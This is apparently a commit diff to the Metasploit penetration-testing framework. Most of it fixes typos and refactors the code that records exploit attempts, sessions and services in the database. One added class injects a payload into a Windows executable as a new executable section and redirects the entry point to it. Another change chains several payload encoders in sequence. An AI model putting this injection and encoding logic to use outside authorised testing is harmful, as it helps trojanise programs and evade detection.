# up. Only handle cases where the DB is not connected here
if nhost && !(framework.db && framework.db.active)
self.session_host = nhost
end
@ -461,6 +461,8 @@ protected
# @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_routes
# @return [String] The address from which this host reaches the
# internet, as ASCII. e.g.: "192.168.100.156"
# @return [nil] If there is an interface with an address that matches
# {#session_host}
def find_internet_connected_address
ifaces = self.net.config.get_interfaces().flatten rescue []
@ -497,7 +499,9 @@ protected
end
if !nhost
# Find the first non-loopback address
# No internal address matches what we see externally and no
# interface has a default route. Fall back to the first
# non-loopback address
non_loopback = ifaces.find { |i| i.ip != "127.0.0.1" && i.ip != "::1" }
if non_loopback
nhost = non_loopback.ip

View File

@ -76,11 +76,9 @@ require 'msf/http/jboss'
require 'msf/kerberos/client'
# Java RMI Support
require 'msf/java/rmi/util'
require 'msf/java/rmi/client'
# Java JMX Support
require 'msf/java/jmx'
# Drivers
require 'msf/core/exploit_driver'

View File

@ -6,7 +6,7 @@ module Msf
###
#
# The auxiliary class acts as a base class for all modules that perform
# reconnaisance, retrieve data, brute force logins, or any other action
# reconnaissance, retrieve data, brute force logins, or any other action
# that doesn't fit our concept of an 'exploit' (involving payloads and
# targets and whatnot).
#

View File

@ -108,9 +108,9 @@ module Auxiliary::AuthBrute
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing SSHKeys
# from the database. This allows the users to use the DB_ALL_CREDS option.
#
# @param cred_collection [Metasploit::Framework::CredentialCollection]
# @param [Metasploit::Framework::CredentialCollection] cred_collection
# the credential collection to add to
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
# @return [Metasploit::Framework::CredentialCollection] cred_collection the modified Credentialcollection
def prepend_db_keys(cred_collection)
if prepend_db_creds?
each_ssh_cred do |cred|
@ -140,8 +140,8 @@ module Auxiliary::AuthBrute
# {Metasploit::Framework::CredentialCollection} as dictated by the
# selected datastore options.
#
# @param [Metasploit::Framework::CredentialCollection] the credential collection to add to
# @param [Metasploit::Credential::Core] the Credential Core to process
# @param [Metasploit::Framework::CredentialCollection] cred_collection the credential collection to add to
# @param [Metasploit::Credential::Core] cred the credential to process
def process_cred_for_collection(cred_collection, cred)
msf_cred = cred.to_credential
cred_collection.prepend_cred(msf_cred) if datastore['DB_ALL_CREDS']
@ -548,7 +548,7 @@ module Auxiliary::AuthBrute
end
# Provides a consistant way to display messages about AuthBrute-mixed modules.
# Acceptable opts are fairly self-explanitory, but :level can be tricky.
# Acceptable opts are fairly self-explanatory, but :level can be tricky.
#
# It can be one of status, good, error, or line (and corresponds to the usual
# print_status, print_good, etc. methods).

View File

@ -243,7 +243,7 @@ module Auxiliary::Cisco
store_cred(cred)
#
# Various authentication secretss
# Various authentication secrets
#
when /^\s*username ([^\s]+) privilege (\d+) (secret|password) (\d+) ([^\s]+)/i
user = $1

View File

@ -77,7 +77,7 @@ module Auxiliary::JohnTheRipper
end
# This method instantiates a {Metasploit::Framework::JtR::Wordlist}, writes the data
# out to a file and returns the {rex::quickfile} object.
# out to a file and returns the {Rex::Quickfile} object.
#
# @return [nilClass] if there is no active framework db connection
# @return [Rex::Quickfile] if it successfully wrote the wordlist to a file

View File

@ -16,7 +16,7 @@ module Auxiliary::Login
EOL = CR + LF
#
# Creates an instance of a login negoation module.
# Creates an instance of a login negotiation module.
#
def initialize(info = {})
super

View File

@ -113,13 +113,11 @@ module Auxiliary::Report
#
# Report a client connection
#
# opts must contain
# :host the address of the client connecting
# :ua_string a string that uniquely identifies this client
# opts can contain
# :ua_name a brief identifier for the client, e.g. "Firefox"
# :ua_ver the version number of the client, e.g. "3.0.11"
# @param opts [Hash] report client information based on user-agent
# @option opts [String] :host the address of the client connecting
# @option opts [String] :ua_string a string that uniquely identifies this client
# @option opts [String] :ua_name a brief identifier for the client, e.g. "Firefox"
# @option opts [String] :ua_ver the version number of the client, e.g. "3.0.11"
#
def report_client(opts={})
return if not db
@ -161,7 +159,7 @@ module Auxiliary::Report
# by a module. This method is deprecated and the new Metasploit::Credential methods
# should be used directly instead.
#
# @param :opts [Hash] the option hash
# @param opts [Hash] the option hash
# @option opts [String] :host the address of the host (also takes a {Mdm::Host})
# @option opts [Fixnum] :port the port of the connected service
# @option opts [Mdm::Service] :service an optional Service object to build the cred for
@ -427,7 +425,7 @@ module Auxiliary::Report
fname = ctype || "local_#{Time.now.utc.to_i}"
end
# Split by path seperator
# Split by path separator
fname = ::File.split(fname).last
case ctype # Probably could use more cases

View File

@ -85,7 +85,7 @@ class DataStore < Hash
def import_options_from_s(option_str, delim = nil)
hash = {}
# Figure out the deliminter, default to space.
# Figure out the delimeter, default to space.
if (delim.nil?)
delim = /\s/
@ -94,7 +94,7 @@ class DataStore < Hash
end
end
# Split on the deliminter
# Split on the delimeter
option_str.split(delim).each { |opt|
var, val = opt.split('=')

View File

@ -23,6 +23,10 @@ require 'msf/core/service_state'
class Msf::DBManager
extend Metasploit::Framework::Require
# Default proto for making new `Mdm::Service`s. This should probably be a
# const on `Mdm::Service`
DEFAULT_SERVICE_PROTO = "tcp"
autoload :Adapter, 'msf/core/db_manager/adapter'
autoload :Client, 'msf/core/db_manager/client'
autoload :Connection, 'msf/core/db_manager/connection'
@ -100,7 +104,7 @@ class Msf::DBManager
attr_accessor :usable
#
# iniitialize
# initialize
#
def initialize(framework, opts = {})

View File

@ -95,7 +95,7 @@ module Msf::DBManager::Cred
ret = {}
# Check to see if the creds already exist. We look also for a downcased username with the
# same password because we can fairly safely assume they are not in fact two seperate creds.
# same password because we can fairly safely assume they are not in fact two separate creds.
# this allows us to hedge against duplication of creds in the DB.
if duplicate_ok
@ -177,4 +177,4 @@ module Msf::DBManager::Cred
alias :report_auth :report_auth_info
alias :report_cred :report_auth_info
end
end

View File

@ -27,186 +27,152 @@ module Msf::DBManager::ExploitAttempt
}
end
# Create an `Mdm::ExploitAttempt` (and possibly an `Mdm::VulnAttempt`, if
# the `vuln` option is passed).
#
# @option (see #do_report_failure_or_success)
# @return (see #do_report_failure_or_success)
def report_exploit_failure(opts)
return unless opts.has_key?(:refs) && !opts[:refs].blank?
host = opts[:host] || return
::ActiveRecord::Base.connection_pool.with_connection {
wspace = opts.delete(:workspace) || workspace
mrefs = opts.delete(:refs) || return
host = opts.delete(:host)
port = opts.delete(:port)
prot = opts.delete(:proto)
svc = opts.delete(:service)
vuln = opts.delete(:vuln)
timestamp = opts.delete(:timestamp)
freason = opts.delete(:fail_reason)
fdetail = opts.delete(:fail_detail)
username = opts.delete(:username)
mname = opts.delete(:module)
# Look up the host as appropriate
if not (host and host.kind_of? ::Mdm::Host)
if svc.kind_of? ::Mdm::Service
host = svc.host
else
host = get_host( :workspace => wspace, :address => host )
end
end
# Bail if we dont have a host object
return if not host
wspace = opts[:workspace] || workspace
port = opts[:port]
prot = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO
svc = opts[:service]
# Look up the service as appropriate
if port and svc.nil?
prot ||= "tcp"
svc = get_service(wspace, host, prot, port) if port
svc = get_service(wspace, host, prot, port)
end
if not vuln
# Create a references map from the module list
ref_objs = ::Mdm::Ref.where(:name => mrefs.map { |ref|
if ref.respond_to?(:ctx_id) and ref.respond_to?(:ctx_val)
"#{ref.ctx_id}-#{ref.ctx_val}"
else
ref.to_s
end
})
# Try find a matching vulnerability
vuln = find_vuln_by_refs(ref_objs, host, svc)
end
# Report a vuln_attempt if we found a match
if vuln
attempt_info = {
:attempted_at => timestamp || Time.now.utc,
:exploited => false,
:fail_reason => freason,
:fail_detail => fdetail,
:username => username || "unknown",
:module => mname
}
vuln.vuln_attempts.create(attempt_info)
end
# Report an exploit attempt all the same
attempt_info = {
:attempted_at => timestamp || Time.now.utc,
:exploited => false,
:username => username || "unknown",
:module => mname,
:fail_reason => freason,
:fail_detail => fdetail
}
attempt_info[:vuln_id] = vuln.id if vuln
if svc
attempt_info[:port] = svc.port
attempt_info[:proto] = svc.proto
end
if port and svc.nil?
attempt_info[:port] = port
attempt_info[:proto] = prot || "tcp"
end
host.exploit_attempts.create(attempt_info)
}
end
def report_exploit_success(opts)
::ActiveRecord::Base.connection_pool.with_connection {
wspace = opts.delete(:workspace) || workspace
mrefs = opts.delete(:refs) || return
host = opts.delete(:host)
port = opts.delete(:port)
prot = opts.delete(:proto)
svc = opts.delete(:service)
vuln = opts.delete(:vuln)
timestamp = opts.delete(:timestamp)
username = opts.delete(:username)
mname = opts.delete(:module)
# Look up or generate the host as appropriate
if not (host and host.kind_of? ::Mdm::Host)
# Look up the host as appropriate
if !host || !host.kind_of?(::Mdm::Host)
if svc.kind_of? ::Mdm::Service
host = svc.host
else
host = report_host(:workspace => wspace, :address => host )
host = get_host(workspace: wspace, address: host)
end
end
# Bail if we dont have a host object
return if not host
opts = opts.dup
opts[:service] = svc
opts[:host] = host
do_report_failure_or_success(opts)
end
# Create an `Mdm::ExploitAttempt` (and possibly an `Mdm::VulnAttempt`, if
# the `vuln` option is passed).
#
# @return (see #do_report_failure_or_success)
def report_exploit_success(opts)
return unless opts[:refs]
host = opts[:host] || return
wspace = opts[:workspace] || workspace
port = opts[:port]
prot = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO
svc = opts[:service]
# Look up or generate the service as appropriate
if port and svc.nil?
svc = report_service(:workspace => wspace, :host => host, :port => port, :proto => prot ) if port
# it is rude to modify arguments in place
opts = opts.dup
opts[:proto] ||= Msf::DBManager::DEFAULT_SERVICE_PROTO
opts[:service] = report_service(
workspace: wspace, host: host, port: port, proto: prot
)
end
if not vuln
# Create a references map from the module list
ref_objs = ::Mdm::Ref.where(:name => mrefs.map { |ref|
if ref.respond_to?(:ctx_id) and ref.respond_to?(:ctx_val)
"#{ref.ctx_id}-#{ref.ctx_val}"
else
ref.to_s
end
})
do_report_failure_or_success(opts)
end
# Try find a matching vulnerability
vuln = find_vuln_by_refs(ref_objs, host, svc)
end
private
# @option opts [Array<String>, Array<Msf::Module::Reference>] :refs
# @option opts [Mdm::Host] :host
# @option opts [Mdm::Service] :service
# @option opts [Integer] :port (nil)
# @option opts ["tcp","udp"] :proto (Msf::DBManager::DEFAULT_SERVICE_PROTO) See `Mdm::Service::PROTOS`
# @option opts [Mdm::Vuln] :vuln (nil)
# @option opts [Time] :timestamp (nil)
# @option opts [Mdm::Vuln] :timestamp (nil)
# @option opts [String] :module (nil)
# @return [void]
def do_report_failure_or_success(opts)
return unless opts[:refs]
::ActiveRecord::Base.connection_pool.with_connection {
mrefs = opts[:refs]
host = opts[:host]
port = opts[:port]
prot = opts[:proto]
svc = opts[:service]
vuln = opts[:vuln]
timestamp = opts[:timestamp]
freason = opts[:fail_reason]
fdetail = opts[:fail_detail]
username = opts[:username]
mname = opts[:module]
if vuln.nil?
ref_names = mrefs.map { |ref|
if ref.respond_to?(:ctx_id) and ref.respond_to?(:ctx_val)
"#{ref.ctx_id}-#{ref.ctx_val}"
else
ref.to_s
end
}
# Create a references map from the module list
ref_objs = ::Mdm::Ref.where(name: ref_names)
# Try find a matching vulnerability
vuln = find_vuln_by_refs(ref_objs, host, svc)
end
# We have match, lets create a vuln_attempt record
if vuln
attempt_info = {
:vuln_id => vuln.id,
:attempted_at => timestamp || Time.now.utc,
:exploited => true,
:exploited => (freason.nil? ? true : false),
:fail_detail => fdetail,
:fail_reason => freason,
:module => mname,
:username => username || "unknown",
:module => mname
}
attempt_info[:session_id] = opts[:session_id] if opts[:session_id]
attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id]
vuln.vuln_attempts.create(attempt_info)
# We have match, lets create a vuln_attempt record
if vuln
attempt_info[:vuln_id] = vuln.id
vuln.vuln_attempts.create(attempt_info)
# Correct the vuln's associated service if necessary
if svc and vuln.service_id.nil?
vuln.service = svc
vuln.save
# Correct the vuln's associated service if necessary
if svc and vuln.service_id.nil?
vuln.service = svc
vuln.save
end
end
end
# Report an exploit attempt all the same
attempt_info = {
:attempted_at => timestamp || Time.now.utc,
:exploited => true,
:username => username || "unknown",
:module => mname
# Report an exploit attempt all the same
if svc
attempt_info[:port] = svc.port
attempt_info[:proto] = svc.proto
end
if port and svc.nil?
attempt_info[:port] = port
attempt_info[:proto] = prot || Msf::DBManager::DEFAULT_SERVICE_PROTO
end
host.exploit_attempts.create(attempt_info)
}
attempt_info[:vuln_id] = vuln.id if vuln
attempt_info[:session_id] = opts[:session_id] if opts[:session_id]
attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id]
if svc
attempt_info[:port] = svc.port
attempt_info[:proto] = svc.proto
end
if port and svc.nil?
attempt_info[:port] = port
attempt_info[:proto] = prot || "tcp"
end
host.exploit_attempts.create(attempt_info)
}
end
end
end

View File

@ -96,8 +96,7 @@ module Msf::DBManager::Host
norm_host = host.host
elsif host.respond_to?(:session_host)
# Then it's an Msf::Session object
thost = host.session_host
norm_host = thost
norm_host = host.session_host
end
# If we got here and don't have a norm_host yet, it could be a
@ -325,4 +324,4 @@ module Msf::DBManager::Host
host
}
end
end
end

View File

@ -8,7 +8,7 @@ module Msf::DBManager::Import::Libpcap
bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : []
# seen_hosts is only used for determining when to yield an address. Once we get
# some packet analysis going, the values will have all sorts of info. The plan
# is to ru through all the packets as a first pass and report host and service,
# is to run through all the packets as a first pass and report host and service,
# then, once we have everything parsed, we can reconstruct sessions and ngrep
# out things like authentication sequences, examine ttl's and window sizes, all
# kinds of crazy awesome stuff like that.

View File

@ -64,7 +64,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
end
# Only report loot if we actually have it.
# TODO: Copypasta. Seperate this out.
# TODO: Copypasta. Separate this out.
if ::File.exists? loot_info[:orig_path]
loot_dir = ::File.join(basedir,"loot")
loot_file = ::File.split(loot_info[:orig_path]).last
@ -114,7 +114,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
task_info[:orig_path].gsub!(/^\./,tmp) if task_info[:orig_path]
# Only report a task if we actually have it.
# TODO: Copypasta. Seperate this out.
# TODO: Copypasta. Separate this out.
if ::File.exists? task_info[:orig_path]
tasks_dir = ::File.join(basedir,"tasks")
task_file = ::File.split(task_info[:orig_path]).last
@ -168,7 +168,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
# Grab the list of unique basedirs over all entries.
@import_filedata[:zip_tmp_subdirs] = @import_filedata[:zip_entry_names].map {|x| ::File.split(x)}.map {|x| x[0]}.uniq.reject {|x| x == "."}
# mkdir all of the base directores we just pulled out, if they don't
# mkdir all of the base directories we just pulled out, if they don't
# already exist
@import_filedata[:zip_tmp_subdirs].each {|sub|
tmp_subdirs = ::File.join(@import_filedata[:zip_tmp],sub)

View File

@ -164,9 +164,7 @@ module Msf::DBManager::Import::Nmap
data[:host] = hobj || addr
data[:info] = extra if not extra.empty?
data[:task] = args[:task]
if p["name"] != "unknown"
data[:name] = p["name"]
end
data[:name] = p['tunnel'] ? "#{p['tunnel']}/#{p['name'] || 'unknown'}" : p['name']
report_service(data)
}
#Parse the scripts output

View File

@ -26,7 +26,7 @@ module Msf::DBManager::Import::Qualys::Asset
qid = vuln.elements['QID'].first.to_s
vuln_refs[qid] ||= []
vuln.elements.each('CVE_ID_LIST/CVE_ID') do |ref|
vuln_refs[qid].push('CVE-' + /C..-([0-9\-]{9})/.match(ref.elements['ID'].text.to_s)[1])
vuln_refs[qid].push('CVE-' + /C..-([0-9\-]{9,})/.match(ref.elements['ID'].text.to_s)[1])
end
vuln.elements.each('BUGTRAQ_ID_LIST/BUGTRAQ_ID') do |ref|
vuln_refs[qid].push('BID-' + ref.elements['ID'].text.to_s)
@ -95,4 +95,4 @@ module Msf::DBManager::Import::Qualys::Asset
end # host
end
end
end

View File

@ -70,7 +70,7 @@ module Msf::DBManager::Import::Qualys::Scan
refs.push(ref.elements['ID'].text.to_s)
end
vuln.elements.each('CVE_ID_LIST/CVE_ID') do |ref|
refs.push('CVE-' + /C..-([0-9\-]{9})/.match(ref.elements['ID'].text.to_s)[1])
refs.push('CVE-' + /C..-([0-9\-]{9,})/.match(ref.elements['ID'].text.to_s)[1])
end
vuln.elements.each('BUGTRAQ_ID_LIST/BUGTRAQ_ID') do |ref|
refs.push('BID-' + ref.elements['ID'].text.to_s)

View File

@ -85,7 +85,7 @@ module Msf::DBManager::Service
end
=end
proto = opts[:proto] || 'tcp'
proto = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO
service = host.services.where(port: opts[:port].to_i, proto: proto).first_or_initialize
opts.each { |k,v|
@ -126,4 +126,4 @@ module Msf::DBManager::Service
wspace.services.includes(:host).where(conditions).order("hosts.address, port")
}
end
end
end

View File

@ -49,7 +49,7 @@ module Msf::DBManager::Session
# Creates an Mdm::Session from Mdm::Host.
#
# @param opts [Hash{Symbol => Object}] options
# @option opts [DateTime, Time] :closed_at The date and time the sesion was
# @option opts [DateTime, Time] :closed_at The date and time the session was
# closed.
# @option opts [String] :close_reason Reason the session was closed.
# @option opts [Hash] :datastore {Msf::DataStore#to_h}.
@ -74,101 +74,71 @@ module Msf::DBManager::Session
# @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be
# saved.
#
# @raise ArgumentError if :host and :session is +nil+
# @raise ArgumentError if :host and :session are both +nil+
def report_session(opts)
return if not active
::ActiveRecord::Base.connection_pool.with_connection {
if opts[:session]
raise ArgumentError.new("Invalid :session, expected Msf::Session") unless opts[:session].kind_of? Msf::Session
session = opts[:session]
wspace = opts[:workspace] || find_workspace(session.workspace)
h_opts = { }
h_opts[:host] = normalize_host(session)
h_opts[:arch] = session.arch if session.respond_to?(:arch) and session.arch
h_opts[:workspace] = wspace
host = find_or_create_host(h_opts)
sess_data = {
:host_id => host.id,
:stype => session.type,
:desc => session.info,
:platform => session.platform,
:via_payload => session.via_payload,
:via_exploit => session.via_exploit,
:routes => [],
:datastore => session.exploit_datastore.to_h,
:port => session.session_port,
:opened_at => Time.now.utc,
:last_seen => Time.now.utc,
:local_id => session.sid
}
s = create_mdm_session_from_session(opts)
session.db_record = s
elsif opts[:host]
raise ArgumentError.new("Invalid :host, expected Host object") unless opts[:host].kind_of? ::Mdm::Host
host = opts[:host]
sess_data = {
:host_id => host.id,
:stype => opts[:stype],
:desc => opts[:desc],
:platform => opts[:platform],
:via_payload => opts[:via_payload],
:via_exploit => opts[:via_exploit],
:routes => opts[:routes] || [],
:datastore => opts[:datastore],
:opened_at => opts[:opened_at],
:closed_at => opts[:closed_at],
:last_seen => opts[:last_seen] || opts[:closed_at],
:close_reason => opts[:close_reason],
}
s = create_mdm_session_from_host(opts)
else
raise ArgumentError.new("Missing option :session or :host")
end
ret = {}
# Truncate the session data if necessary
if sess_data[:desc]
sess_data[:desc] = sess_data[:desc][0,255]
end
wspace = s.workspace
# In the case of multi handler we cannot yet determine the true
# exploit responsible. But we can at least show the parent versus
# just the generic handler:
if session and session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
sess_data[:via_exploit] = sess_data[:datastore]['ParentModule']
end
s = ::Mdm::Session.new(sess_data)
s.save!
if session and session.exploit_task and session.exploit_task.record
session_task = session.exploit_task.record
if session_task.class == Mdm::Task
Mdm::TaskSession.create(:task => session_task, :session => s )
if session
if session.exploit.user_data_is_match?
MetasploitDataModels::AutomaticExploitation::MatchResult.create!(
match: session.exploit.user_data[:match],
match_set: session.exploit.user_data[:match_set],
run: session.exploit.user_data[:run],
state: 'succeeded',
)
elsif session.via_exploit
# This is a live session, we know the host is vulnerable to something.
infer_vuln_from_session(session, wspace)
end
end
s
}
end
if opts[:session]
session.db_record = s
end
protected
# If this is a live session, we know the host is vulnerable to something.
if opts[:session] and session.via_exploit
mod = framework.modules.create(session.via_exploit)
# @param session [Msf::Session] A session with a {db_record Msf::Session#db_record}
# @param wspace [Mdm::Workspace]
# @return [void]
def infer_vuln_from_session(session, wspace)
::ActiveRecord::Base.connection_pool.with_connection {
s = session.db_record
host = s.host
if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
mod_fullname = sess_data[:datastore]['ParentModule']
mod_name = ::Mdm::Module::Detail.find_by_fullname(mod_fullname).name
if session.via_exploit == "exploit/multi/handler" and session.exploit_datastore['ParentModule']
mod_fullname = session.exploit_datastore['ParentModule']
else
mod_name = mod.name
mod_fullname = mod.fullname
mod_fullname = session.via_exploit
end
mod_detail = ::Mdm::Module::Detail.find_by_fullname(mod_fullname)
if mod_detail.nil?
# Then the cache isn't built yet, take the hit for instantiating the
# module
mod_detail = framework.modules.create(mod_fullname)
end
mod_name = mod_detail.name
vuln_info = {
:host => host.address,
:name => mod_name,
:refs => mod.references,
:workspace => wspace,
:exploited_at => Time.now.utc,
:info => "Exploited by #{mod_fullname} to create Session #{s.id}"
exploited_at: Time.now.utc,
host: host,
info: "Exploited by #{mod_fullname} to create Session #{s.id}",
name: mod_name,
refs: mod_detail.refs.map(&:name),
workspace: wspace,
}
port = session.exploit_datastore["RPORT"]
@ -178,28 +148,105 @@ module Msf::DBManager::Session
vuln = framework.db.report_vuln(vuln_info)
if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
via_exploit = sess_data[:datastore]['ParentModule']
else
via_exploit = session.via_exploit
end
attempt_info = {
:timestamp => Time.now.utc,
:workspace => wspace,
:module => via_exploit,
:username => session.username,
:refs => mod.references,
:session_id => s.id,
:host => host,
:service => service,
:vuln => vuln
host: host,
module: mod_fullname,
refs: mod_detail.refs,
service: service,
session_id: s.id,
timestamp: Time.now.utc,
username: session.username,
vuln: vuln,
workspace: wspace,
}
framework.db.report_exploit_success(attempt_info)
end
s
}
vuln
}
end
end
def create_mdm_session_from_session(opts)
::ActiveRecord::Base.connection_pool.with_connection {
session = opts[:session]
raise ArgumentError.new("Invalid :session, expected Msf::Session") unless session.kind_of? Msf::Session
wspace = opts[:workspace] || find_workspace(session.workspace)
h_opts = { }
h_opts[:host] = normalize_host(session)
h_opts[:arch] = session.arch if session.respond_to?(:arch) and session.arch
h_opts[:workspace] = wspace
host = find_or_create_host(h_opts)
sess_data = {
datastore: session.exploit_datastore.to_h,
desc: truncate_session_desc(session.info),
host_id: host.id,
last_seen: Time.now.utc,
local_id: session.sid,
opened_at: Time.now.utc,
platform: session.platform,
port: session.session_port,
routes: [],
stype: session.type,
via_exploit: session.via_exploit,
via_payload: session.via_payload,
}
# In the case of multi handler we cannot yet determine the true
# exploit responsible. But we can at least show the parent versus
# just the generic handler:
if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
sess_data[:via_exploit] = sess_data[:datastore]['ParentModule']
end
s = ::Mdm::Session.create!(sess_data)
if session.exploit_task and session.exploit_task.record
session_task = session.exploit_task.record
if session_task.class == Mdm::Task
Mdm::TaskSession.create(task: session_task, session: s )
end
end
s
}
end
def create_mdm_session_from_host(opts)
::ActiveRecord::Base.connection_pool.with_connection {
host = opts[:host]
raise ArgumentError.new("Invalid :host, expected Host object") unless host.kind_of? ::Mdm::Host
sess_data = {
host_id: host.id,
stype: opts[:stype],
desc: truncate_session_desc(opts[:desc]),
platform: opts[:platform],
via_payload: opts[:via_payload],
via_exploit: opts[:via_exploit],
routes: opts[:routes] || [],
datastore: opts[:datastore],
opened_at: opts[:opened_at],
closed_at: opts[:closed_at],
last_seen: opts[:last_seen] || opts[:closed_at],
close_reason: opts[:close_reason],
}
s = ::Mdm::Session.create!(sess_data)
s
}
end
# Truncate the session data if necessary
#
# @param desc [String]
# @return [String] +desc+ truncated to the max length of the desc column
def truncate_session_desc(desc)
# Truncate the session data if necessary
if desc
desc = desc[0, ::Mdm::Session.columns_hash['desc'].limit]
end
desc
end
end

View File

@ -43,8 +43,8 @@ module Msf::DBManager::WMAP
}
end
# This method iterates the requests table identifiying possible targets
# This method wiil be remove on second phase of db merging.
# This method iterates the requests table identifying possible targets
# This method will be removed on second phase of db merging.
def each_distinct_target(&block)
request_distinct_targets.each do |target|
block.call(target)
@ -111,7 +111,7 @@ module Msf::DBManager::WMAP
end
# This method returns a list of all possible targets available in requests
# This method wiil be remove on second phase of db merging.
# This method will be removed on second phase of db merging.
def request_distinct_targets
::ActiveRecord::Base.connection_pool.with_connection {
::Mdm::WmapRequest.select('DISTINCT host,address,port,ssl')
@ -186,4 +186,4 @@ module Msf::DBManager::WMAP
::Mdm::WmapTarget.all
}
end
end
end

View File

@ -49,8 +49,6 @@ class EncodedPayload
self.nop_sled = nil
self.encoder = nil
self.nop = nil
self.iterations = reqs['Iterations'].to_i
self.iterations = 1 if self.iterations < 1
# Increase thread priority as necessary. This is done
# to ensure that the encoding and sled generation get
@ -71,8 +69,27 @@ class EncodedPayload
# Generate the raw version of the payload first
generate_raw() if self.raw.nil?
# Encode the payload
encode()
# If encoder is set, it could be an encoders list
# The form is "<encoder>:<iteration>, <encoder2>:<iteration>"...
if reqs['Encoder']
encoder_str = reqs['Encoder']
encoder_str.scan(/([^:, ]+):?([^,]+)?/).map do |encoder_opt|
reqs['Encoder'] = encoder_opt[0]
self.iterations = (encoder_opt[1] || reqs['Iterations']).to_i
self.iterations = 1 if self.iterations < 1
# Encode the payload with every encoders in the list
encode()
# Encoded payload is now the raw payload to be encoded by the next encoder
self.raw = self.encoded
end
else
self.iterations = reqs['Iterations'].to_i
self.iterations = 1 if self.iterations < 1
# No specified encoder, let BadChars or ForceEncode do their job
encode()
end
# Build the NOP sled
generate_sled()
@ -110,7 +127,7 @@ class EncodedPayload
def encode
# If the exploit has bad characters, we need to run the list of encoders
# in ranked precedence and try to encode without them.
if reqs['BadChars'] or reqs['Encoder'] or reqs['ForceEncode']
if reqs['BadChars'].to_s.length > 0 or reqs['Encoder'] or reqs['ForceEncode']
encoders = pinst.compatible_encoders
# Make sure the encoder name from the user has the same String#encoding
@ -165,7 +182,7 @@ class EncodedPayload
next
end
# If the caller explictly requires register preservation, make sure
# If the caller explicitly requires register preservation, make sure
# that the module in question can handle it. This is mostly used by
# the stage encoder path.
if (reqs['ForceSaveRegisters'] and

View File

@ -99,7 +99,7 @@ class Encoder < Module
#
NonAlpha = "non_alpha"
#
# tolower safe ascii - not 'A' - 'Z' (more flexable than nonalpha)
# tolower safe ascii - not 'A' - 'Z' (more flexible than nonalpha)
#
NonUpper = "non_upper"
#

View File

@ -0,0 +1,51 @@
# -*- coding: binary -*-
module Msf
module Exe
require 'metasm'
require 'msf/core/exe/segment_injector'
class SegmentAppender < SegmentInjector
def payload_stub(prefix)
# TODO: Implement possibly helpful payload obfuscation
asm = "new_entrypoint:\n#{prefix}\n"
shellcode = Metasm::Shellcode.assemble(processor, asm)
shellcode.encoded + @payload
end
def generate_pe
# Copy our Template into a new PE
pe_orig = Metasm::PE.decode_file(template)
pe = pe_orig.mini_copy
# Copy the headers and exports
pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4]
pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
pe.header.time = pe_orig.header.time
# Don't rebase if we can help it since Metasm doesn't do relocations well
pe.optheader.dll_characts.delete("DYNAMIC_BASE")
# TODO: Look at supporting DLLs in the future
prefix = ''
# Create a new section
s = Metasm::PE::Section.new
s.name = '.' + Rex::Text.rand_text_alpha_lower(4)
s.encoded = payload_stub prefix
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
pe.sections << s
pe.invalidate_header
# Change the entrypoint to our new section
pe.optheader.entrypoint = 'new_entrypoint'
pe.cpu = pe_orig.cpu
pe.encode_string
end
end
end
end

View File

@ -59,20 +59,11 @@ module Exe
EOS
end
def payload_as_asm
asm = ''
@payload.each_byte do |byte|
asm << "db " + sprintf("0x%02x", byte) + "\n"
end
return asm
end
def payload_stub(prefix)
asm = "hook_entrypoint:\n#{prefix}\n"
asm << create_thread_stub
asm << payload_as_asm
shellcode = Metasm::Shellcode.assemble(processor, asm)
shellcode.encoded
shellcode.encoded + @payload
end
def generate_pe

View File

@ -866,7 +866,7 @@ class Exploit < Msf::Module
#
# Minimum number of nops to use as a hint to the framework.
# Nil snigifies that the framework should decide.
# Nil signifies that the framework should decide.
#
def payload_min_nops(explicit_target = nil)
explicit_target ||= target
@ -1218,10 +1218,31 @@ class Exploit < Msf::Module
# Failure tracking
##
# Raises a Msf::Exploit::Failed exception. It overrides the fail_with method
# in lib/msf/core/module.rb
#
# @param reason [String] A constant from Msf::Module::Failure.
# If the reason does not come from there, then it will default to
# Msf::Module::Failure::Unknown.
# @param msg [String] (Optional) A message about the failure.
# @raise [Msf::Exploit::Failed] A custom Msf::Exploit::Failed exception.
# @return [void]
# @see Msf::Module::Failure
# @see Msf::Module#fail_with
# @example
# fail_with(Msf::Module::Failure::NoAccess, 'Unable to login to upload payload')
def fail_with(reason,msg=nil)
self.fail_reason = reason
# The reason being registered here will be used later on, so it's important we don't actually
# provide a made-up one.
allowed_values = Msf::Module::Failure.constants.collect {|e| Msf::Module::Failure.const_get(e)}
if allowed_values.include?(reason)
self.fail_reason = reason
else
self.fail_reason = Msf::Module::Failure::Unknown
end
self.fail_detail = msg
raise Msf::Exploit::Failed, (msg || "No reason given")
raise Msf::Exploit::Failed, (msg || "No failure message given")
end
def report_failure
@ -1276,7 +1297,7 @@ class Exploit < Msf::Module
##
#
# The reason why the exploit was not successful (one of Msf::Exploit::FailReason)
# The reason why the exploit was not successful (one of Msf::Module::Failure)
#
attr_accessor :fail_reason
@ -1393,4 +1414,3 @@ protected
end
end

View File

@ -228,14 +228,14 @@ module Exploit::Remote::AFP
parsed_data[:machine_type] = read_pascal_string(body, machine_type_offset)
parsed_data[:versions] = read_array(body, afp_versions_offset)
parsed_data[:uams] = read_array(body, uam_count_offset)
# skiped icon
# skipped icon
parsed_data[:server_flags] = parse_flags(server_flags)
parsed_data[:signature] = body.unpack("@#{server_signature_offset}H32").first
